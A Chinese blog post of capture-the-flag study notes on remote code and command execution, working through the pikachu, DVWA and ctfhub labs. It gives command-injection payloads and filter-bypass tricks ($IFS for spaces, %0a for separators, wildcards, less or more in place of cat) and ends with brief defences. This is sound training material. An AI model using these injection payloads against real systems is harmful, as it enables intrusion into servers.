Featured image of post RCE

RCE

RCE

远程代码执行:Remote Code Execute

远程命令执行:Remote Command Execute

php RCE函数

image-20241230235941100

image-20241230235955702

命令拼接符号

windows

image-20241231000327050

linux

image-20241231000352140

pikachu靶场练习

ping

直接在ip后&加命令

image-20241231001329346

eval

用system(‘ipconfig’)或者phpinfo()测试

image-20241231001813066

DVWA的RCE

low

跟pikachu一样直接加&

medium

因为平台是Windows,而靶场过滤的是Linux连接符,所以跟上面一样

high

查看源码管道符|后有空格

我们不加空格直接拼接

ctfhub练习

eval执行

蚁剑连接,右键打开终端

然后ls /根目录下就有flag

命令注入-无过滤

要求输入ip,没有过滤

直接输入127.0.0.1;ls查看目录下文件

有一个php文件,cat查看没东西

直接转base64编码

1
127.0.0.1;cat xxx.php|base64

然后解码得到flag

命令注入-过滤cat

改为less就行了

其他命令

1
2
3
4
5
6
7
8
cat 由第一行开始显示内容,并将所有内容输出
tac 从最后一行倒序显示内容,并将所有内容输出
more 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head 只显示头几行
tail 只显示最后几行
nl 类似于cat -n,显示时输出行号
tailf 类似于tail -f

命令注入-过滤空格

1
使用$IFS$9、%09、<、>、<>、{,}、%20、${IFS}、${IFS}来代替空格

命令注入-过滤命令分隔符

cd跳目录再cat,或者%0a代替目录分隔符/(在url里面输入)

过滤运算符

其实前面要base64是因为源码被注释了

所以我们正常cat flag然后查看源码

综合过滤

flag过滤用f***绕过

cat改为more

;用%0a

然后跟上面一样构造payload到url里面

1
127.0.0.1%0acd${IFS}f***_is_here${IFS}%0amore${IFS}f***_61177426640.php

防御

1、尽量不要使用命令执行的函数

2、如果必须使用,需要做白名单处理

3、用正则表达式对用户输入的内容进行处理

4、使用WAF

Licensed under 9u_l3
使用 Hugo 构建
主题 StackJimmy 设计